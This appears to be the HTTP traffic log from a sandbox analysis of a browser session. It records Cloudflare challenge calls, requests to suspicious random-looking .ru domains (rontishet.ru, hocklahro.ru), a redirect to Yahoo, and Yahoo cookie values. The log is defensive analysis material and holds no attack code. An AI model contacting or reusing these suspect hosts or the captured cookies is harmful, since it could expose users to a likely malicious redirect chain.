Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cb5e237ab880f47&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/194391686:1727712828:JRtCI2iqmwXzQ6uA9YbttRQhBtGvVV2Rs_-r0xzpao4/8cb5e237ab880f47/1bf49d3282149e4 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8cb5e237ab880f47/1727716828536/ZTYaatjzYFSdFEX HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/yzcnc/0x4AAAAAAAj4CaQsDLLGC_TE/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8cb5e237ab880f47/1727716828536/c2b18accbaf5c30c53f58bad056d43b5ae357f2f43e8d35f1e70e5782f867ef2/F8ziSgnx8g5pQQx HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/yzcnc/0x4AAAAAAAj4CaQsDLLGC_TE/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8cb5e237ab880f47/1727716828536/ZTYaatjzYFSdFEX HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=LrkSUHRE2Sx57my&MD=btZSeAEe HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/194391686:1727712828:JRtCI2iqmwXzQ6uA9YbttRQhBtGvVV2Rs_-r0xzpao4/8cb5e237ab880f47/1bf49d3282149e4 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/194391686:1727712828:JRtCI2iqmwXzQ6uA9YbttRQhBtGvVV2Rs_-r0xzpao4/8cb5e237ab880f47/1bf49d3282149e4 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dyxqqctqfxmdjbdkrdklknqcEsIhjbfqHMJIASFGXPYJHJHBMKSVBSWCVNJCXIPDVXPZRGDUP HTTP/1.1Host: ht4hkoldfwqkuse7qoti8nr4vfbfcgkyagnd3phsgq5swccnhjjxv.hocklahro.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://hfj.rontishet.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://hfj.rontishet.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dyxqqctqfxmdjbdkrdklknqcEsIhjbfqHMJIASFGXPYJHJHBMKSVBSWCVNJCXIPDVXPZRGDUP HTTP/1.1Host: ht4hkoldfwqkuse7qoti8nr4vfbfcgkyagnd3phsgq5swccnhjjxv.hocklahro.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://hfj.rontishet.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://hfj.rontishet.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-loader-2.7.21-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/ngy-fonts/YahooSans-VF-Web.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.yahoo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/sVHMxKrPePA197woLBKrVg--~B/Zmk9c3RyaW07aD0yNzI7cT05NTt3PTU2MDthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-09/f1738c10-7f1f-11ef-b7bf-d9a760ad838d.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /info/p.gif?apptype=default&beaconType=pageRenderStart&code=pageRender&bucket=900%2Cseamless&device=desktop&intl=us&rid=1pa4ckpjflnfm&site=fp&t=1727716855082 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/RonKuGAd5Xs1CsylZkR9Og--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-09/88364cc0-7f3c-11ef-9e6d-608bb5010780.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/d2s6nYW_YMTX2VM1IGOKBQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/the_hill_articles_341/05f082c3610c0f639765aa4d2e67e189.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv/static/ms/trendingNow.yhome-atomic.c9493b0439b3a8ef64a3f6b7f532117c.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /version/6.4.1/cmp.js HTTP/1.1Host: consent.cmp.oath.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ybar/cerebro_min.js HTTP/1.1Host: edge-mcdn.secure.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw
Source: global traffic	HTTP traffic detected: GET /pv/static/ms/trendingNow-flameIcon.yhome-variable.a2368adb8251677d29ac1399a6f34c43.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /info/p.gif?apptype=default&beaconType=pageRenderEnd&code=pageRender&bucket=900%2Cseamless&device=desktop&intl=us&rid=1pa4ckpjflnfm&site=fp&t=1727716855086 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/PfuFkSI.w9qemWReAv.2kA--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-09/a0026210-7f1b-11ef-92ab-b839323afb9a.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-loader-2.7.21-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/tQ8F_aqdd1MTiJBsUnvEUw--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-09/35a87f10-7eff-11ef-b37e-1db661b209fc.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/D1cC99bQYm9QVoUbD_Rpnw--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/usa_today_tech_153/03d01cbdd7ccafd738da286245b9f503.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/EP05qSSZkDRwnsJtEV.Bmw--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-09/84608c70-7f17-11ef-bfc7-ce05e04ea18c.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ss/analytics-3.54.3.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv/static/img/icon-flame-light-202303010352.gif HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://s.yimg.com/pv/static/ms/trendingNow.yhome-atomic.c9493b0439b3a8ef64a3f6b7f532117c.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/RonKuGAd5Xs1CsylZkR9Og--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-09/88364cc0-7f3c-11ef-9e6d-608bb5010780.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/d2s6nYW_YMTX2VM1IGOKBQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/the_hill_articles_341/05f082c3610c0f639765aa4d2e67e189.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ybar/cerebro_min.js HTTP/1.1Host: edge-mcdn.secure.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/sVHMxKrPePA197woLBKrVg--~B/Zmk9c3RyaW07aD0yNzI7cT05NTt3PTU2MDthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-09/f1738c10-7f1f-11ef-b7bf-d9a760ad838d.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid HTTP/1.1Host: guce.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; 